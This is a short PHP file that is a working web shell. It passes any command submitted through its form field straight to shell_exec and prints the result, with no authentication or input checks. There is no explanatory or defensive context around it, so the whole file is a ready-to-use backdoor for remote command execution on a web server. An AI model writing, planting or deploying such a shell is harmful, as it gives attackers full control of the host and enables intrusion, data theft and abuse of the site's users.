<?php
if(isset($_POST['cmd'])) {
$output = shell_exec($_POST['cmd']);
echo "<pre>$output</pre>";
}
?>
<form method="post">
<input type="text" name="cmd" placeholder="Enter command" style="width: 300px;">
<input type="submit" value="Execute">
</form>